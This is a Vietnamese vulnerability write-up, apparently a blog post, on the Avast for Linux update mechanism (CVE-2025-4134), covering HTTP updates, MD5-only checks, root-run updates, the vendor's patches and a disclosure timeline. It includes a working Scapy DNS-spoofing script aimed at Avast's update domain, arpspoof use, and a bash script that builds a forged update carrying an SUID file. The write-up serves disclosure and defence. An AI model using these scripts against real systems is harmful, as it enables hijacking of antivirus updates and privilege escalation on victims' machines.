# Pwning Antivirus: Avast for Linux và lỗ hổng trong cơ chế cập nhật

---

# Cơ chế cập nhật của Avast for Linux

## 1\. Kiến trúc dữ liệu trên server

Avast Antivirus triển khai hệ thống cập nhật phân tán, kết hợp giữa cập nhật toàn phần (full update) và cập nhật [vi sai](https://en.wikipedia.org/wiki/Delta_update) (delta update), nhằm tối ưu hóa về mặt thời gian và lưu lượng mạng. Cụ thể:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744914873568/e5eb7fbb-31bf-41ff-b0a3-76032a57f4ab.png align="left")

File [`vps9.lat`](http://vps9.lat) đóng vai trò như một chỉ mục version toàn cục. Máy khách sử dụng file này để so sánh với version đang được cài đặt cục bộ nhằm xác định sự cần thiết của quá trình cập nhật.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744915619738/96e2bd04-ec4d-4858-8262-125f89dfdda8.png align="left")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744915668960/8575c475-e2c7-46ce-a7a7-e723bfffb447.png align="left")

Các file `.inf` chứa thông tin về checksum, version cần cập nhật, và chỉ định sử dụng bản vá (`.dif`) hoặc cập nhật toàn phần (`.ful`).

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744916427662/7cdc37a1-3983-4686-b1b9-a22f3f3ab3ed.png align="left")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744916529139/32b962e5-4fce-4064-b1a8-bf276ccea1af.png align="left")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744916501140/fc951b12-af97-478b-9343-b32256e05d21.png align="left")

Avast trên máy người dùng sử dụng thông tin từ server để tự động chọn hình thức cập nhật phù hợp.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744916562201/a9b1f409-5921-4a89-9816-0157837f1290.png align="left")

Trong trường hợp không thể áp dụng patch hoặc gặp lỗi xác minh, hệ thống sẽ chuyển sang tải về `.ful`, là gói database đầy đủ được nén.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744916575413/aa8c2469-91cb-4fc3-843f-45d0bd81199a.png align="left")

Trong trường hợp cập nhật vi sai, Avast sẽ tải về `.dif`, là patch nhị phân tạo từ sự khác biệt giữa các version. Thuật toán `bdiff` được sử dụng để xử lý patch này.

## 2\. Kiến trúc dữ liệu trên client

Thư mục cập nhật tại `/var/lib/avast/Setup/filedir` nhằm lưu dữ liệu cập nhật từ server.

* `vps9.lat`: lưu version hiện tại của file `vps9.raw`
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744917433061/36a210b4-234d-490d-81a2-8450360519da.png align="left")
    
* `vps9.raw`: được sử dụng cho cập nhật vi phân. Đây là một file nén định dạng POSIX tar chứa signatures và engine.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744917716893/fd65b55d-53e2-43b3-8fcf-1ccc0fd5fee7.png align="left")
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744917825524/092472c3-f029-4df7-9364-034d283b1d4d.png align="left")
    
    Thật vậy, chỉ cần đổi phần mở rộng `.raw` thành `.tar` là có thể giải nén dữ liệu. Dữ liệu nhận được bao gồm thư viện, database của Avast.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744917837205/cb659158-20cc-44c9-b6df-4ba380ed42dd.png align="left")
    

Thư mục database tại `/var/lib/avast/defs/` lưu dữ liệu database đã giải nén từ file `.raw` và được Avast sử dụng cho engine.

* File `aswdefs.ini` lưu version number của database hiện tại.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744917971205/8e17220c-1e4d-4610-a1a7-dd5604a2dd31.png align="left")
    
* Thư mục chứa database của Avast có tên là version number hiện tại.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744917914714/3793f328-a581-499a-add0-e276aee331a2.png align="left")
    
    Ngoài các dữ liệu signature và library của avast, trong thư mục database còn có 2 file là `list_d.txt` và `list_i.txt`.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744918287059/dff2deaa-02f6-4c4c-b76e-ed3ce0ce6fa3.png align="left")
    
    2 file này là 2 file manifest lưu thông tin gồm danh sách các file được sử dụng bởi Avast, checksum của từng file.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744918313730/10d6e9ba-a11a-437a-b590-b9532e140dda.png align="left")
    
    Đoạn checksum này nhằm đảm bảo tính toàn vẹn của dữ liệu trong manifest, giúp tránh bị giả mạo.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744918354441/971af748-b743-47aa-b16d-edfa5d228559.png align="left")
    

## 3\. Luồng logic cập nhật và điểm yếu

Avast sử dụng bash script `/usr/lib/avast/vpsupdate` cho việc cập nhật. Script này sử dụng curl, md5sum để tải và xác minh file. Luồng logic cập nhật được tiến hành như sau:

1. Thực hiện cập nhật tại URL `https://linux-av.u.avcdn.net/linux-av/avast/x86_64/vps9/`. Đầu tiên, chương trình kiểm tra version mới nhất trên server qua file `vps9.lat`. Sau đó, chương trình dựa vào một số điều kiện trên máy client để quyết định phương thức cập nhật.
    
2. Tiến hành tải về và cập nhật database:
    
    * Trong trường hợp cần full update:
        
        * Tải file database `.ful` mới nhất
            
        * Giải nén file `.raw` (nằm trong file `.ful`) vào thư mục template nằm trong `/tmp/`.
            
        * Kiểm tra MD5 của file `.raw` và giá trị MD5 trong file manifest. Nếu MD5 match, di chuyển file `.raw` và `.lat` vào trong `/var/lib/avast/Setup/filedir/`
            
    * Nếu dùng patch:
        
        * Tải một hoặc nhiều file `.dif`
            
        * Sử dụng `bdiff` để patch file `.raw` trong `/var/lib/avast/Setup/filedir/`.
            
        * Kiểm tra MD5 của file `.raw` mới patch và MD5 trong manifest. Nếu MD5 match thì tạo file `.lat` mới.
            
3. Tạo thư mục chứa database với đường dẫn có dạng `/var/lib/avast/defs/<version_name>`. Toàn bộ dữ liệu trong file `.raw` sẽ được giải nén và ghi vào thư mục mới tạo này.
    
4. Restart Avast thông qua `/usr/lib/avast/submit --flush --quiet`
    

Như vậy, ta có thể thấy điểm yếu trong logic này như sau:

1. **Dùng giao thức HTTP** cho quá trình cập nhật: Đây là một giao thức không được xác thực. Threat actor có thể sử dụng kỹ thuật DNS Spoofing khi ở cùng dải mạng để redirect quá trình cập nhật tới untrusted server.
    
2. **Không verify các dữ liệu database**: Trong bước 2 và 3, chỉ MD5 được sử dụng. Việc áp dụng dữ liệu từ database mới nhất trước khi verify các file (trong thư mục template) dẫn đến threat actor có thể ghi file bất kỳ vào trong thư mục database của Avast. Threat actor có thể ghi file SUID và corrupted database khiến hệ thống bảo vệ của Avast ngừng hoạt động.
    

Ngoài các điểm yếu đã liệt kê, do sự phức tạp của logic liên quan đến xử lý dữ liệu giữa server và client cũng như tương tác giữa dịch vụ update và tài nguyên hệ thống nên quá trình update còn có những điểm yếu khác. Tất cả những điểm yếu đó sẽ được phân tích cụ thể hơn.

---

# Chi tiết điểm yếu, khai thác và bản vá

## 1\. Tấn công DNS Spoofing vào giao thức HTTP

URL của server được lưu trong `/etc/avast/vps.conf`. Mặc định, URL sử dụng giao thức HTTP:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1744875099938/e28f9fda-70f7-4c55-82b7-9abc42ef0567.png align="left")

Vì HTTP là một giao thức không được xác thực, threat actor có thể thực hiện tấn công ARP Spoofing và DNS Spoofing để chuyển hướng quá trình cập nhật sang một server do threat actor kiểm soát.

Đầu tiên, threat actor sử dụng công cụ `arpspoof` để chuyển hướng gói tin tới phía threat actor, qua đó chặn yêu cầu phân giải DNS tạo điều kiện cho tấn công DNS Spoofing.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748349698505/ed2ebf63-6688-4c98-9660-b9d94dc5a5c6.png align="left")

Tiếp theo, threat actor sử dụng script Python dưới đây để tấn công DNS Spoof

```plaintext
#!/usr/bin/env python3

from scapy.all import *
import sys

# Define the target IP address
iface = "wlo1"
victim_ip = "192.168.57.117"  # Replace with the target machine IP
spoofed_domain = "linux-av.u.avcdn.net"  # Domain you want to spoof
spoofed_ip = "192.168.57.192"  # Fake IP address to redirect the target to

def dns_spoof(packet):
    # Filter for DNS response
    if packet.haslayer(DNS) and packet[DNS].qr == 0:  # DNS query (qr=0 means a query)
        # Check if the query is for the domain we want to spoof
        if spoofed_domain in str(packet[DNS].qd.qname):
            print(f"[*] Spoofing DNS response for {spoofed_domain}")

            # Craft the spoofed DNS response
            spoofed_response = IP(dst=packet[IP].src, src=packet[IP].dst) / \
                               UDP(dport=packet[UDP].sport, sport=packet[UDP].dport) / \
                               DNS(id=packet[DNS].id, qr=1, aa=1, qd=packet[DNS].qd, 
                                   an=DNSRR(rrname=packet[DNS].qd.qname, ttl=10, rdata=spoofed_ip))

            # Send the spoofed DNS response
            send(spoofed_response, verbose=0)
            print(f"[+] Sent spoofed DNS response to {victim_ip} for {spoofed_domain} -> {spoofed_ip}")

# Start sniffing traffic and call dns_spoof on each packet
try:
    print("[*] Starting DNS spoofing attack...")
    sniff(filter=f"udp port 53 and ip src {victim_ip}", prn=dns_spoof, iface=iface)
except KeyboardInterrupt:
    print("\n[!] Attack interrupted. Exiting...")
    sys.exit(0)
```

Output của script cho thấy yêu cầu phân giải DNS của victim đã bị giả mạo từ phía threat actor.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748349705040/2f1c4525-bea8-47a2-9058-a3daecf04107.png align="left")

Như vậy, threat actor thao túng được luồng kết nối từ phía client. Bằng cách kết hợp 2 kiểu tấn công **ARP Spoofing** và **DNS Spoofing**, luồng kết nối sẽ redirect luồng dữ liệu tới máy chủ giả mạo do hacker kiểm soát.

Để sửa điểm yếu này, Avast đã sử dụng giá trị mặc định của URL là HTTPS.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748456949919/24208da9-fa62-4d60-8855-c78fd4d34201.png align="left")

## 2\. Tấn công giả mạo dữ liệu update

Như đã phân tích ở trên, bước 2 và 3 của quá trình update không thực hiện kiểm tra tính xác thực và toàn vẹn. Như vậy, chỉ cần tạo được một file nén có kiến trúc hợp lệ, threat actor có thể giả mạo database và thao túng quá trình update. Các thay đổi có thể xảy ra bao gồm:

1. Tạo corrupted signatures khiến cho engine của Avast ngừng hoạt động.
    
2. Ghi file bất kỳ vào `/var/lib/avast/defs/<version>/`. Các file có thể là mã độc và là file SUID nhằm tạo điều kiện leo thang đặc quyền.
    

Để có thể exploit, threat actor thực hiện tạo dữ liệu update giả mạo như sau:

1. Tạo dữ liệu độc hại
    
2. Thực hiện tạo file nén `.ful` và tạo manifest của file `.ful`
    
3. Tạo manifest cho file `.raw`
    
4. Tạo manifest chứa version update mới.
    

Toàn bộ quá trình trên có thể được automate lại bằng bash script như sau:

```bash
#!/bin/bash
NEW_VERSION=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 13; echo)
FAKE_DATA=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 13; echo)
DOC_ROOT="/var/www/html/linux-av/avast/x86_64/vps9/"

function rm_documentroot_files() {
  rm -f /var/www/html/linux-av/avast/x86_64/vps9/*
}

function create_fake_update() {
  mkdir -p /var/www/html/linux-av/avast/x86_64/vps9/
  # create fake file of full update
  echo $FAKE_DATA > hehe.txt
  chmod 4755 hehe.txt

  # Create zip file for .ful
  tar -czf vps9${NEW_VERSION}.ful hehe.txt

  # Create info file for metadata
  ## Get checksum from raw file
  gunzip -c vps9${NEW_VERSION}.ful > tmp.raw
  CKSUM_DATA=$(md5sum tmp.raw|cut -d " " -f 1)

  # Create metadata and update file
  echo "MD5=${CKSUM_DATA}" > ${DOC_ROOT}/vps9${NEW_VERSION}.inf
  mv vps9${NEW_VERSION}.ful ${DOC_ROOT}/vps9${NEW_VERSION}.ful
}

function create_lat_file() {
  # Create lat file
  echo ${NEW_VERSION} > ${DOC_ROOT}/vps9.lat
}

function rm_tmp_file() {
  # Remove template generated files
  rm -f tmp.raw hehe.txt *.ful
}


rm_documentroot_files
create_fake_update
create_lat_file
rm_tmp_file
```

Chạy script vừa rồi, threat actor đã tạo được dữ liệu giả mạo như trong hình dưới:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748347738388/31fb7a9c-ec49-49ce-82d0-10da4dd48ff8.png align="left")

Bằng cách kết hợp với tấn công Man-In-The-Middle, quá trình update của chương trình `vpsupdate` thực hiện cập nhật tại máy chủ do hacker tạo ra.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748349853933/6781b358-e93a-4fc5-82c1-3e46192d4872.png align="left")

File độc hại do threat actor tạo ra được giữ nguyên quyền SUID khi được ghi xuống máy victim.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748350025914/08f81859-564f-4fd8-9714-3a5368445e76.png align="left")

Ngoài ra, thư mục database thiếu các file cần thiết, hoặc chứa file bị corrupt sẽ khiến Avast không thể hoạt động.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748350122570/d9b1c17d-717a-447b-9ea0-63ee1197f64c.png align="center")

Để sửa lỗi này, chương trình update sử dụng tính năng của binary `/usr/bin/avast` để kiểm tra dữ liệu (được giải nén tại một thư mục template) trước khi áp dụng dữ liệu này cho chương trình.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748351817063/10da1907-f4ce-4923-9648-302ebdff1ed1.png align="left")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748351705678/d55558f5-eca8-40b2-a0ac-5b018903e716.png align="left")

Như vậy, chương trình sẽ kết thúc hoạt động khi phát hiện dữ liệu có vấn đề thay vì thay thế dữ liệu cũ bằng dữ liệu mới.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748431566937/e6fee1c3-ef6b-4abd-b828-51b72e7617d5.png align="left")

Có một điểm thú vị là trong quá trình phân tích patch diff, tôi phát hiện ra tính năng này đã tồn tại sẵn trên bản Avast cũ. Tuy nhiên, có thể do sơ suất của đội ngũ phát triển nên tính năng này không được sử dụng (cho đến khi họ nhận được báo cáo).

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748431700486/8af983b3-c241-4084-8725-2b70356034af.png align="center")

## 3\. Quá trình cập nhật được thực thi dưới đặc quyền không cần thiết

Trong quá trình trao đổi với vendor, tôi đã nhận được thông tin rằng quá trình update của Avast được thực thi bởi `avast`. Thực vậy, chương trình update được chạy dưới systemd timer dưới owner `avast`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748428094892/d933c607-5183-4af1-b9ff-1635d1cda1a6.png align="left")

Tuy nhiên, quá trình demo đã chạy script update thành công với quyền `root` dẫn tới owner của database mới là `root`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748428243769/77fe148b-87e2-4963-ae5a-789cd1ced045.png align="left")

Như vậy, nếu một quản trị viên thực hiện cập nhật cho Avast thông qua chạy lệnh thủ công, sẽ có 2 trường hợp xảy ra:

1. Quản trị viên đăng nhập bằng account `root` và thực hiện update
    
2. Quản trị viên đăng nhập bằng account trong group `sudoers` và sử dụng `sudo` để update.
    

Nói cách khác, 2 trường hợp trên quản trị viên đều mắc sai lầm khi thực hiện update bằng quyền `root` thay vì quyền của `avast` (ví dụ `sudo -u avast /usr/lib/avast/vpsupdate`). Điều này dẫn đến owner của database là `root` dẫn tới các vấn đề sau:

1. Rất có khả năng Avast không thể cập nhật dữ liệu mới do systemd unit thực hiện cập nhập với owner là `avast` nên không thể overwrite file của `root`.
    
2. Nếu bị exploit trong lúc đang update thủ công, **SUID** file sẽ có ownership là `root` khiến mã độc chiếm được quyền cao nhất của hệ thống.
    

Để khắc phục điểm yếu này, Avast thực hiện kiểm tra onwer của tiến trình và chạy script dưới quyền thấp hơn.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748351983024/7e63c1de-cc07-445f-b86d-dd6c94f4578d.png align="left")

*Note: Điểm yếu này được phát hiện và fix bởi vendor. Phân tích chi tiết được thực hiện sau khi trao đổi thông tin với vendor vào ngày 30 tháng 4.*

## 4\. Không xác minh tính hợp lệ của version number

Như đã phân tích ở bước 3, quá trình cập nhật tạo đường dẫn `/var/lib/avast/defs/<version_name>` và tiến hành ghi dữ liệu cập nhật vào đây. Giá trị `version_name` được lấy từ file `vps9.lat` mà không xác định tính hợp lệ của giá trị.

Như vậy, trên lý thuyết, threat actor có thể sử dụng điểm yếu này để exploit lỗ hổng path traversal kết hợp với các lỗ hổng khác đã được phân tích để ghi file vào vị trí khác trong hệ thống. Nếu ghi vào các vị trí nhạy cảm, mã độc có thể tự động thực thi qua crontab hoặc sau khi hệ thống reboot. Tuy nhiên, quá trình xử lý dữ liệu được tải về từ server có sử dụng biến `PACKAGE` để tạo đường dẫn vào thư mục template. Điều này dẫn đến đường dẫn luôn có tiền tố `vps9`. Các giá trị version đặc biệt nhằm khai thác path traversal sẽ tạo thành dạng `”vps9” + <path>`. Khi đó, hệ thống sẽ hiểu rằng giá trị relative path được đưa ra bao gồm thư mục `vps9` không tồn tại. Vì vậy, chương trình sẽ gặp lỗi và dừng hoạt động.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748465821412/6313c979-4da6-4198-bdaf-b47c31fdf475.png align="left")

Mặc dù điểm yếu này không thể exploit được, Avast vẫn tiến hành mitigate bằng cách kiểm tra giá trị của version. Giá trị hợp lệ là các ký tự số nguyên từ 0 đến 9.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1748351625219/1f1142af-1515-45b9-9459-1288eee81eb7.png align="left")

## Timeline

* **Q2/2023**: Phát hiện attack surface
    
* **Tháng 8/2024**: Thực hiện nghiên cứu và khai thác
    
* **27/9/2024**: Gửi báo cáo lỗi tới Avast thông qua BugCrowd
    
* **17/4/2025**: Phát hiện Avast v4.6 đã fix lỗi. Tiến hành liên hệ lại với đầu mối phía Avast.
    
* **30/4/2025**: Avast xác nhận lỗi.
    
* **28/05/2025**: Lỗi được công bố với mã **CVE-2025-4134**
    

---
